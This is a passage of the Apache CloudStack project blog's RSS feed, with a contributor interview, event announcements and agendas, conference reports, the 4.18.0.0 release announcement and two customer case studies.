I started lurking and interacting on the project <a href="/mailing-lists">mailing lists</a>
and IRC to understand how to work in this community.</p><p>I quickly found myself supporting users on the mailing lists and learning
real-world use of CloudStack, contributing patches such as maintaining our (new)
maven-based build system, working on some issues and making some improvements. I
also wrote the <a href="https://github.com/apache/cloudstack-cloudmonkey" target="_blank" rel="noopener noreferrer">cloudmonkey
CLI</a> because there wasn’t one
available and I also ended-up working on a large APIs refactoring project that
helped me understand CloudStack deeper and work closely with the original
creators and architects of CloudStack.</p><p>During this, I was invited to become a committer to the project and got
sponsored to participate in the first CloudStack Collaboration Conference 2012
in Las Vegas. After another few years of working on flagship CloudStack
features, frameworks, releases, maintaining CloudStack and collaborating with
the community, I eventually got invited to become a PMC member.</p><p>I’ve transitioned into a more supporting, mentoring, empowering and leadership
role in the community and at work. This allows me to find time and bandwidth to
champion and promote Apache CloudStack in all forums and platforms.</p><p><img loading="lazy" alt="Rohit Yadav" src="/assets/images/photo-6ae7501c2355ae39108c9207ea491359.jpg" title="Rohit Yadav" width="4080" height="3072" class="img_ev3q"></p><p><strong>Why should enterprises use open-source solutions?</strong></p><p>Enterprises nowadays are adopting open-source software especially when it comes
to infrastructure software. This gives them business advantage in keeping low
costs and not having to depend on a single vendor (no vendor lock-in) while have
the longevity, trust, stability, reliability, durability, flexibility, better
agility and security, and access to an ecosystem of community and commercial
offerings and support around it. There is also community and inter-organisation
collaborations on standards, frameworks and feature development that help reduce
costs for the end-consumers, including the enterprises.</p><p>Enterprises also attract better talent as it’s generally much easy to hire or
train talent on open-source software with its documentation and other types of
training materials in the form of books, blogs and videos etc., accessible to
everybody.</p><p>It’s hard to imagine any enterprise and any consumer product or service that
won’t have any open-source project used in their stacks.</p><p><strong>Who are the existing enterprise users of Apache CloudStack and how are they benefiting?</strong></p><p>Anybody looking to implement (private or public) IaaS cloud should seriously
consider CloudStack. It is easy to-use, cost-effective, very stable, massively
scalable, highly reliable battle-tested IaaS cloud computing platform,
well-known and used in production at many of the world’s largest organisations.
The project is community-driven by diverse contributors who are deeply invested
in solving real-world
<a href="https://cwiki.apache.org/confluence/display/CLOUDSTACK/Case+Studies" target="_blank" rel="noopener noreferrer">use-cases</a>.</p><p>You don’t have to take my word for it - as an open-source top-level
<a href="https://apache.org/" target="_blank" rel="noopener noreferrer">ASF</a> project anybody can test drive and see it for
themselves, there is no vendor lock-in or paywall to get started. It takes a
very short amount of time and effort to set it up, perhaps a few hours or less
for a seasoned administrator. We have the <a href="https://docs.cloudstack.apache.org/en/latest/quickinstallationguide/qig.html" target="_blank" rel="noopener noreferrer">quick install
guides</a>
for anybody to get started and even a public simulator-based demo environment
for anybody with a few minutes to try it out, get the look-and-feel for it at
<a href="https://qa.cloudstack.cloud/simulator/" target="_blank" rel="noopener noreferrer">https://qa.cloudstack.cloud/simulator/</a> (using the demo-environment credentials
admin:password).</p><p>CloudStack is very easy to deploy, use and manage. Being a monolith application,
it’s easier to upgrade, can be managed by a small team. It is feature-rich, and
offers a great UI, APIs and rich tooling and libraries such as
<a href="https://github.com/apache/cloudstack-cloudmonkey" target="_blank" rel="noopener noreferrer">cloudmonkey</a> (cmk, the
official CLI), the <a href="https://github.com/apache/cloudstack-terraform-provider" target="_blank" rel="noopener noreferrer">CloudStack Terraform
provider</a>, the
<a href="https://github.com/apache/cloudstack-kubernetes-provider" target="_blank" rel="noopener noreferrer">CloudStack Kubernetes
provider</a>, the
<a href="https://cluster-api-cloudstack.sigs.k8s.io/" target="_blank" rel="noopener noreferrer">CloudStack Cluster-API Provider</a>
(CAPC), the <a href="https://github.com/apache/cloudstack-go" target="_blank" rel="noopener noreferrer">CloudStack Go-SDK</a>,
<a href="https://docs.ansible.com/ansible/latest/scenario_guides/guide_cloudstack.html" target="_blank" rel="noopener noreferrer">support for
Ansible</a>,
and countless other integration, libraries and related projects in its
ever-growing ecosystem.</p><p>As an open-source project, Apache CloudStack project does not track who uses it.
Still, we have a fair idea of our user base based on the community-maintained
and contributed <a href="https://cloudstack.apache.org/users.html" target="_blank" rel="noopener noreferrer">list of users</a> on our
project website. Also, based on activities and representation by such users and
their organisations in the community by their participation on the mailing
lists, around releases, issue reporting and code contributions on GitHub,
attendance and participation in project meetups and conferences, and other
forums such as blogs, videos, websites, press releases, social media etc. These
enterprises, organisations and users include some of the world’s largest Fortune
500 companies.</p><p>I get super motivated and content when I read CloudStack
<a href="https://cwiki.apache.org/confluence/display/CLOUDSTACK/Case+Studies" target="_blank" rel="noopener noreferrer">case-studies</a>
or when I learn where and how our work on CloudStack benefits the core mission
of companies. In the most recent CloudStack Collab conference, I was delighted
to learn how CloudStack <a href="https://www.youtube.com/watch?v=xq2LVY18GU8" target="_blank" rel="noopener noreferrer">empowers the Digital India
mission</a> that helped <a href="https://www.cowin.gov.in/" target="_blank" rel="noopener noreferrer">vaccinate
billions</a> as well as delivers digital product and
services to citizens.</p><p><strong>How is Apache CloudStack project evolving and where do you see its future?</strong></p><p>Over the years, we’ve seen a steady stream of <a href="https://github.com/apache/cloudstack/graphs/contributors" target="_blank" rel="noopener noreferrer">developer
contribution</a> and
<a href="https://github.com/apache/cloudstack/releases" target="_blank" rel="noopener noreferrer">releases</a>. We’re seeing
CloudStack getting more and more polished with every release. We’ve grown into a
pedigree of PMC members, committers, contributors and power users who have been
around in the community for a long time, a decade or more now. This demonstrates
the reliability, durability and stability the project offers to the users
community and the trust of the users community who are continuing to use and
support CloudStack over the years. We’re seeing CloudStack adoption growing
steadily from users participation on mailing lists, GitHub, meetups and
conferences and release adoption. Per the hype curve, we’re in the plateau of
productivity so this isn’t surprising.</p><p>We have always been a community-driven project and that should continue. We may
also see interesting integrations, features and other changes to align with the
changing themes and trends of the industry and the users community, we may find
such use-cases in AI, data sovereignty, privacy and cloud-repatriation.</p><p>We need to ensure there’s a healthy community that feels welcome to use
CloudStack, report issues, participate on the mailing lists and in meetups and
conferences, and tell us about their use-cases and problems in all such forums.</p><p>The users community should be supported to contribute to CloudStack, and <a href="https://github.com/shapeblue/hackerbook" target="_blank" rel="noopener noreferrer">help
train</a> on CloudStack development, help
contribute fixes, enhancements and feature that solves their problems, and
invite them to become committers and PMC members of the project. As long we
support a healthy feedback loop and maintain the cycle of the project it will
continue to grow, evolve, and thrive. We also need more efforts towards project
marketing and promotion, and some work on strategic features, frameworks and
integrations that leads to more growth and adoption of CloudStack.</p><p><strong>Start contributing!</strong></p><p>Want to become a committer and join a great community? <a href="/contribute">Read on!</a></p>]]></content:encoded>
            <category>community</category>
        </item>
        <item>
            <title><![CDATA[1 Week to Go - CloudStack European User Group - May 4th, 2023]]></title>
            <link>https://cloudstack.apache.org/blog/cloudstack-european-user-group-may1</link>
            <guid>https://cloudstack.apache.org/blog/cloudstack-european-user-group-may1</guid>
            <pubDate>Thu, 27 Apr 2023 00:00:00 GMT</pubDate>
            <description><![CDATA[The European CloudStack Community is counting down the days until CloudStack]]></description>
            <content:encoded><![CDATA[<a href="/blog/cloudstack-european-user-group-may1"><img loading="lazy" src="/img/imported/59255fe4-a752-4813-bb46-61a1089ace99" width="750" height="393" class="img_ev3q"></a><p>The <strong>European CloudStack Community</strong> is counting down the days until CloudStack
European User Group 2023. The event will be taking place in London, in the
Gandhi Room at Cifas, Tavistock Square, 7-12 Lynton House, <strong>London</strong>, WC1H 9LT.</p><p>Join technical talks, user stories, new features, integrations presentations and more!</p><p>Become part of the CSEUG on May 4th, 2023!</p><a href="https://www.eventbrite.co.uk/e/cloudstack-european-user-group-2023-tickets-513821653397" target="_blank" rel="noopener noreferrer" class="button button--primary">REGISTER FOR FREE</a><h4>Agenda:</h4><p>12:00 - 12:15 - Welcome, Giles Sirett, Chairman, CloudStack European User Group</p><p>12:15 - 12:45 - What’s new at CloudStack 4.18, Giles Sirett</p><p>12:55 - 13:25 - CloudStack Monitoring, Lucian Burlacu, ShapeBlue</p><p>13:35 - 14:05 - News about LINBIT SDS &amp; CloudStack, Philipp Reisner, LINBIT</p><p>14:05 - 14:30 - Coffee Break</p><p>14:30 - 15:00 - Re-using old hardware, thus saving money and the environment, Wido den Hollander, Your.Online</p><p>15:10- 15:40 - Network Service Chaining in Core and Edge Zones, Alexandre Mattioli, ShapeBlue</p><p>15:50 - 16:20 - A proposal - make changes in Apache CloudStack faster and low risk with vendor CI systems, Alex Ivanov, Niki Tenev, StorPool</p><p>16:30 - 17:00 - Dimsi and Backroll : What’s new/next release, Pierre Charton, Pierre de La Ville and Ousmane Diarra, Dimsi</p><h4>Meet the Speakers:</h4><p><strong>Giles Sirett</strong></p><p>Giles is a committer, PMC member of the Apache CloudStack project and Chairman
of the European CloudStack User Group. He is also CEO &amp; founder of ShapeBlue,
the leading independent CloudStack integrator &amp; consultancy. He has worked with
many high-profile organisations, helping them strategise, design and implement
CloudStack based clouds. Giles is an active contributor to the Apache CloudStack
project and has spoken at all CloudStack Collaboration conferences, Linuxcon,
and other events.</p><p><strong>Lucian Burlacu</strong></p><p>Lucian is a long-time sysadmin and Apache CloudStack user and contributor. He has
a background in hosting, virtualisation and datacentre operations, but is now
working full time on CloudStack.</p><p><strong>Phillip Reisner</strong></p><p>Philipp Reisner is founder and CEO of LINBIT in Vienna/Austria. His professional
career has been dominated by developing DRBD, a storage replication for Linux.
Today he leads a company of about 30 employees with locations in Vienna, Austria
and Portland, Oregon.</p><p><strong>Wido den Hollander</strong></p><p>Wido den Hollander is the CTO at Your.online. Wido has been a part of the
CloudStack community since 2012. Ever since he has contributed various parts of
code like Ceph/RBD, IPv6, KVM and many other parts.</p><p><strong>Alexandre Mattioli</strong></p><p>Alexandre Mattioli is a highly experienced Infrastructure Architect who has been
working with Apache CloudStack since 2015, he has designed, built and operated
one of the largest ACS clouds in existence and led a team to design and
productise many diverse solutions on top of ACS. He's currently a Cloud
Architect at ShapeBlue.</p><p><strong>Alex Ivanov</strong></p><p>Alex Ivanov is the Product Lead at StorPool Storage and is responsible for the
product strategy and tactics at the company. He has experience in the storage
market and a deep understanding of the needs and priorities of businesses
managing large-scale clouds to run diverse, mission-critical workloads. At
StorPool, he works closely with the team to evolve the StorPool primary storage
platform and expand its capabilities and usefulness for various use cases. His
goal - ensure StorPool cost-effectively delivers above and beyond what is
possible with other primary storage products to help customers achieve their
commercial and technical goals.</p><p><strong>Niki Tenev</strong></p><p>Niki is a Solutions Architect at StorPool Storage. He worked as a System
Administrator for a decade, and later on, his interest and career gradually
shifted to business and product development. Together with the StorPool team,
Niki helps companies build resilient and agile clouds that fit the needs of
their specific projects. In his spare time, Niki practices the technique of
folding clothes while people are still in them (a.k.a. Brazilian Jiu-Jitsu).</p><p><strong>Pierre Charton</strong></p><p>Pierre is in charge of Backroll integration inside CloudStack for DIMSI. Pierre
has a proven track record of successful c# and Java projects. When not playing
with his keyboard, Pierre is surfing, WingFoiling or bodyboarding on the
Brittany coast.</p><p><strong>The event will happen on May 4th, starting at 12pm GMT and finishing at 5pm GMT.</strong></p>]]></content:encoded>
            <category>news</category>
        </item>
        <item>
            <title><![CDATA[Reflecting on KubeCon + CloudNativeCon 2023]]></title>
            <link>https://cloudstack.apache.org/blog/reflecting-on-kubecon-cloudnativecon-2023</link>
            <guid>https://cloudstack.apache.org/blog/reflecting-on-kubecon-cloudnativecon-2023</guid>
            <pubDate>Tue, 25 Apr 2023 00:00:00 GMT</pubDate>
            <description><![CDATA[For the first year, the Apache CloudStack Community has participated at KubeCon + CloudNativeCon- the Cloud Native Computing Foundation’s flagship conference,]]></description>
            <content:encoded><![CDATA[<a href="/blog/reflecting-on-kubecon-cloudnativecon-2023"><img loading="lazy" src="/img/imported/e729f7ae-ebe1-474a-91f6-27c6a581b995" width="750" height="393" class="img_ev3q"></a><p>For the first year, the Apache CloudStack Community has participated at KubeCon + CloudNativeCon- the <a href="https://www.cncf.io/?_gl=1*x7ihno*_ga*MjA1MDg5MzgzMS4xNjc5OTAwNzUy*_ga_VWZ4V8CGRF*MTY4MjQwNDA5NC4xMS4wLjE2ODI0MDQwOTQuMC4wLjA." target="_blank" rel="noopener noreferrer">Cloud Native Computing Foundation</a>’s flagship conference,
which gathers adopters and technologists from leading open source and cloud
native communities. It has been a fantastic opportunity for us to represent our
technology on the global stage, and meet engineers, DevOps and infrastructure
experts. Community members have had the pleasure of running attendees through
multiple CloudStack demos and answering their many questions about the
open-source cloud management solution. We also had the opportunity to share the
pitfalls, hacks, learnings, and key takeaways from
<a href="https://www.youtube.com/watch?v=AR8JXotMir8&amp;t=44s" target="_blank" rel="noopener noreferrer">our journey to develop CAPC</a> –
the CAPI Provider for Apache CloudStack.</p><h3>The CloudStack Booth</h3><img loading="lazy" src="/img/imported/7346597f-2b13-44c7-aa67-95eb337145c9" class="img_ev3q"><p>Community members representing and sharing knowledge of Apache CloudStack with
the broader cloud industry had a thoroughly enjoyable time at the conference. We
manage to engage with global cloud providers, telecoms, consulting companies,
gaming companies and service providers.</p><img loading="lazy" src="/img/imported/40babcd3-3ee6-4b8f-8b05-a1ac8507c6ff" class="img_ev3q"><p>We discussed a lot with attendees on topics like building hybrid clouds, keeping
infrastructure costs under control, decreasing cloud complexity, and ensuring
the best infrastructure for running containers at scale while maintaining
investments in infrastructure low.</p><img loading="lazy" src="/img/imported/bf09db74-8261-4f1d-9001-d1d7b4f1cf23" class="img_ev3q"><h3>Explore the Kubernetes Cluster API Provider for Apache CloudStack</h3><p>The Kubernetes Cluster API (CAPI) provider for Apache CloudStack allows
Kubernetes users to build and manage resources on Apache CloudStack. The
provider is available under the Apache 2 open-source license and is managed by
the Cloud Native Computing Foundation (CNCF). The Cluster API brings
declarative, Kubernetes-style APIs to cluster creation, configuration and
management. The API itself is shared across multiple cloud providers allowing
for true Apache CloudStack hybrid deployments of Kubernetes. It is built atop
the lessons learned from previous cluster managers such as kops and kubicorn.</p><h3>Discover the Upcoming CloudStack Events</h3><p><strong>CloudStack European User Group</strong>: The next event that the Apache CloudStack
community is hosting is the CloudStack European User Group, taking place on <strong>4th
May</strong> in the Gandhi Room at Cifas, Tavistock Square, 7-12 Lynton House, <strong>London</strong>,
WC1H 9LT. This event is an annual 1-day technical event for the European
CloudStack community.</p><p>(<a href="https://www.eventbrite.co.uk/e/cloudstack-european-user-group-2023-tickets-513821653397" target="_blank" rel="noopener noreferrer">Click here to register for CSEUG</a>)</p><p><strong>CloudStack Collaboration Conference</strong>: Taking place on <strong>23-24th November</strong>,
with the location to be announced in the new future, CCC is the most significant global
CloudStack and open-source cloud builders event. The two-day hybrid event is
aimed at developers, operators and users to discuss and evolve the open-source
software project, its functionality and real-world operability. This event will
introduce you to the CloudStack family, community leaders, project members and
contributors. Registration details will be announced <strong>in the near future</strong>, so make
sure to keep an eye out on the <a href="/mailing-lists">CloudStack mailing lists</a> of
<a href="https://twitter.com/CloudStack" target="_blank" rel="noopener noreferrer">CloudStack’s social media channels</a>.</p><p>(<a href="https://www.cloudstackcollab.org/wp-content/uploads/2023/02/Sponsorship-Prospectus-CCC-2023.pdf" target="_blank" rel="noopener noreferrer">Learn about sponsorship
opportunities</a>)</p><h3>Why Choose Apache CloudStack</h3><p>Apache CloudStack helps cloud builders solve their key challenges – costs,
vendor lock-in and using fewer resources to manage tens of thousands of physical
servers installed in geographically distributed data centers. The turnkey
solution, made for cloud builders and managed service providers, is open-source
and easy to implement, manage and scale - particularly when compared to
alternative cloud orchestration platforms.</p><p>Download the latest CloudStack 4.18 release - <a href="https://bit.ly/3Koczl3" target="_blank" rel="noopener noreferrer">https://bit.ly/3Koczl3</a></p>]]></content:encoded>
            <category>news</category>
            <category>roundup</category>
        </item>
        <item>
            <title><![CDATA[Day 3 at CloudFest]]></title>
            <link>https://cloudstack.apache.org/blog/day-3-at-cloudfest</link>
            <guid>https://cloudstack.apache.org/blog/day-3-at-cloudfest</guid>
            <pubDate>Thu, 23 Mar 2023 00:00:00 GMT</pubDate>
            <description><![CDATA[It is day 3 at CloudFest. Apache CloudStack]]></description>
            <content:encoded><![CDATA[<a href="/blog/day-3-at-cloudfest"><img loading="lazy" src="/img/imported/c199e71b-acd8-4caa-a08a-a36522ffa125" width="750" height="393" class="img_ev3q"></a><p>It is day 3 at <a href="https://www.cloudfest.com/" target="_blank" rel="noopener noreferrer">CloudFest</a>. Apache CloudStack
exhibiting at the conference has been nothing short of fantastic. Community
members representing the technology have had the chance to meet many like-minded
people and showcase the power of the leading open-source IaaS management
solutions.</p><h2>Why Choose Apache CloudStack If You Are A Cloud Builder</h2><p>A problem that many businesses face when entering the public cloud market is
finding the suitable software and partners which enable a rapid deployment for
their customers. Often, it takes up a significant number of resources and can
have a negative financial impact on the company if the wrong decision is made.</p><p>CloudStack is a turnkey solution for cloud builders and manages service
providers. It is completely open-source, easy to implement, manage and scale.
Powered by a large open-source community and following rapid release cycles,
Apache CloudStack help cloud builders solve their key challenges – costs, vendor
lock-in and using fewer resources to manage tens of thousands of physical
servers installed in geographically distributed data centers.</p><h2>Why Attend CloudFest</h2><p>Whether you are still open to attending the last day of CloudFest tomorrow, or
attending the event next year, we recommend all cloud specialists to join the
event.</p><p>CloudFest in the #1 internet infrastructure event in the world, connecting the
global cloud computing industry. It is the largest and most important cloud
event of the year. The event gathers over 7000 attendees, making it the perfect
place for networking, collaboration and attending some exciting sessions.</p><img loading="lazy" src="/img/imported/0b9ef48b-dc67-4f40-bfab-7db3d2162c59" class="img_ev3q"><h2>Today’s Sessions</h2><p>Some highlights of today’s sessions can be seen below. To see the event schedule
in its entirety, visit the <a href="https://www.cloudfest.com/agenda" target="_blank" rel="noopener noreferrer">official event website</a>.</p><img loading="lazy" src="/img/imported/11ea3fea-4b0d-473b-8d0d-32641542c6be" class="img_ev3q"><img loading="lazy" src="/img/imported/fbc9fa75-fd48-413d-8866-3622f8eb53e3" class="img_ev3q"><img loading="lazy" src="/img/imported/2d95e42d-2b12-4c1e-b1ea-2ce0c91216d7" class="img_ev3q">]]></content:encoded>
            <category>news</category>
        </item>
        <item>
            <title><![CDATA[Day 2 at CloudFest]]></title>
            <link>https://cloudstack.apache.org/blog/day-2-at-cloudfest</link>
            <guid>https://cloudstack.apache.org/blog/day-2-at-cloudfest</guid>
            <pubDate>Tue, 21 Mar 2023 00:00:00 GMT</pubDate>
            <description><![CDATA[Today marks the second day of CloudFest, the #1 internet infrastructure event in]]></description>
            <content:encoded><![CDATA[<a href="/blog/day-2-at-cloudfest"><img loading="lazy" src="/img/imported/487d1056-5072-4756-bd2e-3d863a8000d0" width="750" height="393" class="img_ev3q"></a><p>Today marks the second day of <a href="https://www.cloudfest.com/" target="_blank" rel="noopener noreferrer">CloudFest</a>, the #1 internet infrastructure event in
the world. As you may know, Apache CloudStack is an exhibitor at the conference,
with a number of community members representing the technology and community.</p><h2>Come and Meet Apache CloudStack</h2><p>For attendees who are currently at the conference, we invite you to come and speak to us. Apache CloudStack’s booth is G19. Come and introduce yourself and discover the benefits of using an open-source technology for building a private cloud or delivering public cloud services. We are also keen to discuss Apache CloudStack with new potential users and technologies which would like to integrate with us.</p><img loading="lazy" src="/img/imported/b60375b1-33e8-4a40-bf89-4f5ba5527b0e" class="img_ev3q"><h2>What You Can Learn About CloudStack at CloudFest</h2><p>At CloudStack’s booth you can meet part of the most active contributors to the
open-source project. This gives you a chance to discover the newest features and
capabilities of CloudStack. Our community members will be happy also to organize
a personalized CloudStack demo for you and to discuss what technologies can help
you improve your cloud’s profitability and decrease the complexity of managing
large-scale IaaS.</p><p>In addition, at the CloudStack booth you can find people from leading cloud
providers, who will share their experience with the technology and will give
valuable advice on building cloud infrastructure with it.</p><h2>Exploring CloudStack 4.18 Release</h2><p>All people who met us today found out exclusive details on the upcoming 4.18
release. Our community members took the chance to showcase which are the new
features within CloudStack and what advantages it gives to cloud providers.</p><h2>Sessions Highlights</h2><p>CloudFest Day 2 started with an agenda full of interesting talks from leading
cloud providers and companies developing solutions for the industry. Part of the
talks, which we found interesting are Distributed Cloud Computing: A New
Approach by Akamai, The Resilient Hard Disk Drive (1984 to 2062) by Toshiba,
Scalable Edge Data Centers: Current Challenges and How to Overcome Them by
german Edge Cloud, a panel discussion on Building Sustainable Data Centers and
Making Multicloud Happen.</p><p>If you will be visiting CloudFest, be sure you stop at the CloudStack booth!</p><img loading="lazy" src="/img/imported/603f0617-7dce-4a70-a2e0-f9785f247a6a" class="img_ev3q">]]></content:encoded>
            <category>news</category>
        </item>
        <item>
            <title><![CDATA[Apache CloudStack 4.18.0.0 LTS Release]]></title>
            <link>https://cloudstack.apache.org/blog/apache-cloudstack-4-18-0</link>
            <guid>https://cloudstack.apache.org/blog/apache-cloudstack-4-18-0</guid>
            <pubDate>Mon, 20 Mar 2023 00:00:00 GMT</pubDate>
            <description><![CDATA[The Apache Software Foundation Announces Apache® CloudStack® v4.18.]]></description>
            <content:encoded><![CDATA[<a href="/blog/apache-cloudstack-4-18-0"><img loading="lazy" src="/img/imported/6f7aa770-3f15-45d0-b27a-c3666a659caf" width="100%" class="img_ev3q"></a><p>The Apache Software Foundation Announces Apache® CloudStack® v4.18.</p><p>Apache CloudStack 4.18.0.0 is a 4.18 LTS release with 300+ new features,
improvements, and bug fixes since 4.17, including 19 major new features. Some of
the highlights include:</p><ul><li><p>Edge Zones</p></li><li><p>Autoscaling</p></li><li><p>Managed User Data</p></li><li><p>Two-Factor Authentication Framework</p></li><li><p>Support for Time-based OTP (TOTP) Authenticator</p></li><li><p>Volume Encryption</p></li><li><p>SDN Integration – Tungsten Fabric</p></li><li><p>Ceph Multi Monitor Support</p></li><li><p>API-Driven Console Access</p></li><li><p>Console Access Security Improvements</p></li><li><p>New Global settings UI</p></li><li><p>Configurable MTU for VR</p></li><li><p>Adaptative Affinity Groups</p></li><li><p>Custom DNS Servers for Networks</p></li><li><p>Improved Guest OS Support Framework</p></li><li><p>Support for Enterprise Linux 9</p></li><li><p>Networker Backup Plugin for KVM Hypervisor</p></li><li><p>Custom Quota Tariffs</p></li><li><p>Secure VNC for KVM</p></li></ul><h2 class="anchor anchorWithStickyNavbar_LWe7" id="documentation">Documentation<a href="#documentation" class="hash-link" aria-label="Direct link to Documentation" title="Direct link to Documentation">​</a></h2><p>The full list of new features can be found in the project release notes at:
<a href="https://docs.cloudstack.apache.org/en/4.18.0.0/releasenotes/changes.html" target="_blank" rel="noopener noreferrer">https://docs.cloudstack.apache.org/en/4.18.0.0/releasenotes/changes.html</a></p><p>The CloudStack documentation includes upgrade instructions from previous
versions of Apache CloudStack, and can be found at:
<a href="https://docs.cloudstack.apache.org/en/4.18.0.0/upgrading/index.html" target="_blank" rel="noopener noreferrer">https://docs.cloudstack.apache.org/en/4.18.0.0/upgrading/index.html</a></p><p>The official installation, administration and API documentation for each of the
releases are available on our documentation page:
<a href="https://docs.cloudstack.apache.org/" target="_blank" rel="noopener noreferrer">https://docs.cloudstack.apache.org/</a></p><h2 class="anchor anchorWithStickyNavbar_LWe7" id="downloads">Downloads<a href="#downloads" class="hash-link" aria-label="Direct link to Downloads" title="Direct link to Downloads">​</a></h2><p>The official source code for the 4.18.0.0 release can be downloaded from our
downloads page: <a href="https://cloudstack.apache.org/downloads.html" target="_blank" rel="noopener noreferrer">https://cloudstack.apache.org/downloads.html</a></p><p>In addition to the official source code release, individual contributors have
also made convenience binaries available on the Apache CloudStack download page,
and can be found at:</p><p><a href="http://download.cloudstack.org/ubuntu/dists/" target="_blank" rel="noopener noreferrer">http://download.cloudstack.org/ubuntu/dists/</a></p><p><a href="http://download.cloudstack.org/centos/7/" target="_blank" rel="noopener noreferrer">http://download.cloudstack.org/centos/7/</a></p><p><a href="http://download.cloudstack.org/centos/8/" target="_blank" rel="noopener noreferrer">http://download.cloudstack.org/centos/8/</a></p><p><a href="http://download.cloudstack.org/suse/15" target="_blank" rel="noopener noreferrer">http://download.cloudstack.org/suse/15</a></p><p><a href="https://www.shapeblue.com/packages/" target="_blank" rel="noopener noreferrer">https://www.shapeblue.com/packages/</a></p>]]></content:encoded>
            <category>announcement</category>
        </item>
        <item>
            <title><![CDATA[CloudStack Helps proIO to Become a More Profitable and Successful Managed Service Provider]]></title>
            <link>https://cloudstack.apache.org/blog/becoming-a-profitable</link>
            <guid>https://cloudstack.apache.org/blog/becoming-a-profitable</guid>
            <pubDate>Fri, 10 Mar 2023 00:00:00 GMT</pubDate>
            <description><![CDATA[Delivering cloud solutions need not be as complex and costly as some would have]]></description>
            <content:encoded><![CDATA[<a href="/blog/becoming-a-profitable"><img loading="lazy" src="/img/imported/af41609f-8555-4238-8989-6159bc577516" alt="banner.png" width="750" height="393" class="img_ev3q"></a><p>Delivering cloud solutions need not be as complex and costly as some would have
thought. With the right technology stack, companies can quickly and easily
deploy a flexible and stable IaaS offering to support any business requirements,
as proIO discovered.</p><p><a href="https://www.proio.com/" target="_blank" rel="noopener noreferrer">proIO</a> was founded in Frankfurt, Germany, nearly 20 years ago, as Swen Brüseke
explains. “We wanted to create a company based on holistic IT concepts,
providing support and advice from system design and creation through to smooth
day-to-day running of operations.”, said Swen Brüseke, CEO of proIO.</p><p>The company started by remotely looking after its customer’s physical servers
and data centres in both Frankfurt and Hamburg - 24/7. This has grown to the
extent that they now support thousands of physical servers.</p><p>During the last few years, customer demand has led proIO to extend its support
services with a fully managed cloud offering to become a Managed Service
Provider specialising in open-source Linux applications.</p><a class="button button--primary button--lg" target="_blank" href="/files/acs-case-study-proio2023.pdf">DOWNLOAD THE CASE STUDY</a><h2>А Move to CloudStack</h2><p>The company migrated its cloud to CloudStack in 2019 for a number of reasons, as
Swen explained. “We had used it for several years on various other projects, and
so we had acquired a great amount of working knowledge. This experience
demonstrated to us how easy it was to set up a proof of concept and deploy a
CloudStack-based solution. It was also much easier to keep up to date once
deployed compared to other solutions we had looked at.</p><h2>Fully Redundant Infrastructure Based on Open-Source Technologies</h2><p>Currently, more than 95% of proIO’s virtual machines are Linux based. “Our
customers are not bothered whether their operating system is open source or
not,” explained Swen. “They just want their apps to run to support their
business. We now look after all types of customers from healthcare, hotel
booking, through automotive and clothing to publishing.</p><a class="button button--primary button--lg" target="_blank" href="/files/acs-case-study-proio2023.pdf">DOWNLOAD THE CASE STUDY</a><br><br><p>“It’s great the way that everybody helps each other out in the community,
contributing what they can to ensure CloudStack continues to develop and refine
as a product. I would recommend CloudStack wholeheartedly to any organisation
that is looking at developing a cloud-based infrastructure.”, says Swen Brüseke,
CEO of proIO.</p>]]></content:encoded>
            <category>case-studies</category>
        </item>
        <item>
            <title><![CDATA[Future-Proof Open-Source Platform Hosting Millions of Websites for Your.Online]]></title>
            <link>https://cloudstack.apache.org/blog/future-proof-open-source-platform</link>
            <guid>https://cloudstack.apache.org/blog/future-proof-open-source-platform</guid>
            <pubDate>Wed, 08 Mar 2023 00:00:00 GMT</pubDate>
            <description><![CDATA[Your.Online is a team of pioneers from all over the]]></description>
            <content:encoded><![CDATA[<a href="/blog/future-proof-open-source-platform"><img loading="lazy" src="/img/imported/4d7d7c8f-3951-4d15-9340-b1360357d6f7" alt="banner.png" width="750" height="393" class="img_ev3q"></a><p><a href="https://your.online/" target="_blank" rel="noopener noreferrer">Your.Online</a> is a team of pioneers from all over the
world united by the passion for helping businesses succeed online. Their teams
of local experts provide highly standardized managed services to high-intent
customers to reach their full online potential. The group serves over 1 million
customers and generates €175m in revenue with its eight brands and 600
employees.</p><p>Your.Online needed to build a centralized IaaS cloud platform for four of their
brands - Versio, Yourhosting, Savvii and Axarnet. The four companies ran on
different infrastructure platforms using technologies like VMware, RHEV, Xen
server, Virtuozzo, Proxmox, custom-built solutions and many others. This made it
extremely hard and nearly impossible to manage their infrastructure centrally
and ensure reliability and operational effectiveness.</p><a class="button button--primary button--lg" target="_blank" href="/files/acs-case-study-your-online.pdf">DOWNLOAD THE CASE STUDY</a><h2>Building a Centralised Platform Based on CloudStack</h2><p>Your.Online has built a centralized platform powered by CloudStack, Ceph,
TrueNAS and KVM to be utilized by all their hosting brands. The new solution
allowed the company to simplify infrastructure management and have end-to-end
visibility of the processes inside from a single pane of glass.</p><p>Your.Online uses BGP, EVPN and VXLAN with CloudStack’s Advanced networking
model. This allows them to scale networks very easily in a redundant and
high-performant way over multiple data centers. This is a built-in functionality
of CloudStack, which when combined with IPv6 support and security groups makes
for a modern and future-proof solution, on which they can continue to invest and
grow.</p><h2>Ensuring Reliability in the Long Term</h2><img loading="lazy" src="/img/imported/85db8d29-cf32-409b-b3b2-1d23df9f598d" width="120px" class="img_ev3q">“One of the reasons to centralize on CloudStack is to have one single point of truth about the utilization of our assets. One overview of the VMs, assets and capacity utilization. Now we can automate against one platform, and for us, the main driver to choosing CloudStack was that it is an open-source project governed by the Apache Software Foundation. We know it is a stable platform both from a technical and legal perspective. The project will be live in the next ten years, allowing us to avoid the risk associated with commercial projects - usually licensing and governance problems.”<b>- Wido den Hollander, CTO, Your.Online</b><br><br><a class="button button--primary button--lg" target="_blank" href="/files/acs-case-study-your-online.pdf">DOWNLOAD THE CASE STUDY</a><h2>About Your.Online</h2><p>Your.Online is a leading European online services platform supporting businesses
of all sizes in realizing and scaling their online ambitions. The company is a
team of pioneers from all over the world united by the passion of helping
businesses succeed online. Their team consists of local experts providing highly
standardized managed services to high-intent customers to reach their full
online potential.</p><p>In building a future of more online possibilities, they focus on using
climate-friendly data centers, use highly efficient hardware, continuous focus
on further optimization of their infrastructure, prolonging the use of servers
as much as possible and professionally recycling the ones that are no longer
functional. All these priorities create both business value and sustainable
impact.</p><h2>About Apache CloudStack</h2><p>Apache CloudStack is an open-source cloud management solution designed to deploy
and manage large networks of virtual machines, as a highly available, highly
scalable Infrastructure as a Service (IaaS) cloud computing platform. CloudStack
is used by a number of service providers to offer public cloud services, and by
many companies to provide an on-premises (private) cloud offering, or as part of
a hybrid cloud solution.</p>]]></content:encoded>
            <category>case-studies</category>
